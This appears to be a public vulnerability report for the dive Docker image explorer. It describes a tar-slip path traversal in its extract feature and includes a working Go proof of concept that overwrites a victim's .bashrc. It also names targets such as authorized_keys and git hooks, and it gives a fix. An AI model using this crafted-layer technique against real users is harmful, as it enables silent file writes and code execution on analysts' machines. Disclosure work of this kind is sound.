Description

dive is a terminal UI for exploring Docker image layers, and inspecting images pulled from public registries is its main use case. The filetree view has an extract action (the default keybinding is ctrl+e, cmd/dive/cli/internal/ui/v1/key/config.go:97) that writes the selected file from the image layer into the working directory. The call chain is onFileTreeViewExtract (cmd/dive/cli/internal/ui/v1/app/controller.go:62) -> engineResolver.Extract (dive/image/docker/engine_resolver.go:56) -> ExtractFromImage (dive/image/docker/image_archive.go:303) -> extractInner (dive/image/docker/image_archive.go:337):

func extractInner(reader *tar.Reader, p string) error {
	target := strings.TrimPrefix(p, "/")

	for {
		header, err := reader.Next()

		if err == io.EOF {
			break
		}

		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}

		name := header.Name

		switch header.Typeflag {
		case tar.TypeReg:
			if strings.HasPrefix(name, target) {
				err := os.MkdirAll(filepath.Dir(name), 0755)
				if err != nil {
					return err
				}

				out, err := os.Create(name)
				if err != nil {
					return err
				}

				_, err = io.Copy(out, reader)
				if err != nil {
					return err
				}
			}
		default:
			continue
		}
	}

	return nil
}

header.Name comes from the layer being inspected, so the attacker fully controls it. The only validation is strings.HasPrefix(name, target), a string prefix check rather than a path check: it offers no containment at all. A name like etc/motd-x/../../../.bashrc passes the check for a selected etc/motd, and os.Create(name) then resolves the raw name relative to the directory dive was started in. There is no filepath.Clean, no rejection of .., no containment root, no symlink check and no size cap.

The same string-prefix property lets an attacker prepare the path for the escape in two steps. Because filepath.Dir cleans .. segments away, os.MkdirAll never creates the intermediate directory that a single escape entry needs to walk through. But any earlier entry whose name still starts with the selected path creates it: an entry named etc/motd-x/keep makes os.MkdirAll create the directory etc/motd-x, and the next entry can then climb through it with ... Both entries pass the prefix check, and the attacker controls the order of entries in the layer.

Reaching extractInner with crafted bytes is straightforward. The engine resolver saves the image with the Docker API (ImageSave, dive/image/docker/engine_resolver.go:131), which streams the original layer blobs as they were pushed to the registry, and dive even pulls the image itself when it is not available locally (dive/image/docker/engine_resolver.go:121). Nothing between the registry and extractInner rewrites entry names.

Reproduction

The loop above is self-contained, so the whole feature can be exercised without a registry or the UI. The program below copies extractInner verbatim from the current main branch, feeds it a crafted layer tar, and selects /etc/motd, exactly what dive does when ctrl+e is pressed on that file:

package main

// extractInner copied verbatim from
// dive/image/docker/image_archive.go:337 (main, 2026-09-24).
import (
	"archive/tar"
	"bytes"
	"fmt"
	"io"
	"os"
	"path/filepath"
	"strings"
)

func extractInner(reader *tar.Reader, p string) error {
	target := strings.TrimPrefix(p, "/")
	for {
		header, err := reader.Next()
		if err == io.EOF {
			break
		}
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}
		name := header.Name
		switch header.Typeflag {
		case tar.TypeReg:
			if strings.HasPrefix(name, target) {
				err := os.MkdirAll(filepath.Dir(name), 0755)
				if err != nil {
					return err
				}
				out, err := os.Create(name)
				if err != nil {
					return err
				}
				_, err = io.Copy(out, reader)
				if err != nil {
					return err
				}
			}
		default:
			continue
		}
	}
	return nil
}

func addFile(tw *tar.Writer, name, body string) {
	hdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)), Typeflag: tar.TypeReg}
	_ = tw.WriteHeader(hdr)
	_, _ = tw.Write([]byte(body))
}

func main() {
	var layer bytes.Buffer
	tw := tar.NewWriter(&layer)
	addFile(tw, "etc/motd", "welcome to the totally safe image\n")
	addFile(tw, "etc/motd-x/keep", "x\n")
	addFile(tw, "etc/motd-x/../../../.bashrc", "echo pwned\n")
	_ = tw.Close()

	err := extractInner(tar.NewReader(&layer), "/etc/motd")
	fmt.Println("extractInner returned:", err)
}

Run it from a directory that stands in for the analyst's project directory, with a .bashrc one level above:

mkdir -p home/victim/project
echo "alias ll='ls -l'" > home/victim/.bashrc
cd home/victim/project && go run main.go

Observed result:

extractInner returned: <nil>
$ find home -type f | sort
home/victim/.bashrc          # was: alias ll='ls -l'
home/victim/project/etc/motd
home/victim/project/etc/motd-x/keep

$ cat home/victim/.bashrc
echo pwned

The selected file lands in the working directory as expected, and the escape entry silently overwrites the .bashrc one level above it. extractInner returns nil, so the UI reports a successful extract.

End to end, the same layer is delivered by publishing an image whose layer blob contains the three entries above (any registry accepts the blob as-is), and waiting for an analyst to run dive on the image and extract a file.

Impact

Arbitrary file write with the analyst's privileges, at any path that is reachable through .. from the directory dive runs in, usually the home or project directory. High-value targets include shell startup files such as ~/.bashrc and ~/.profile, ~/.ssh/authorized_keys, .git/hooks in the current repository, and desktop autostart entries, which turn the write into code execution at the next shell or login. The write is silent: extraction succeeds and the extra entries leave no error behind.

The precondition is that the analyst selects a file in the crafted image and presses the extract keybinding, which is why this is rated medium rather than high. That action is exactly what the feature is for: an analyst who opens a suspicious image to look at a credentials file or a config file has every reason to extract it for a closer look, and the layer content is fully attacker-controlled.

Solution

Treat every entry name as hostile and extract through a containment root. The check belongs on the cleaned, joined path, not on the raw string:

dest := filepath.Join(destinationDir, filepath.Clean("/"+header.Name))
if dest != filepath.Join(destinationDir, target) {
	continue // extraction is for the selected file only
}

Joining against /+name first makes filepath.Clean drop any leading .. or drive-letter tricks, and the equality check then reduces the write to the one selected file inside destinationDir. Creating the file with os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644) also stops the extract from overwriting existing files or following a symlink planted earlier in the same layer. This is the standard guard for the tar-slip class, the tar variant of Zip Slip, which every archive extractor that writes to disk needs.

Until a fix lands, do not use the extract keybinding on images from unknown sources, and if it must be used, run dive from an empty directory (or from inside a container) so that .. has nowhere interesting to climb to.

Timeline

  • 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning popular repositories with my static analyzer. The repository has seen no commits since 2025-12-15, so no private disclosure attempt seemed useful; dive 0.13.1 and the current main branch are affected.

References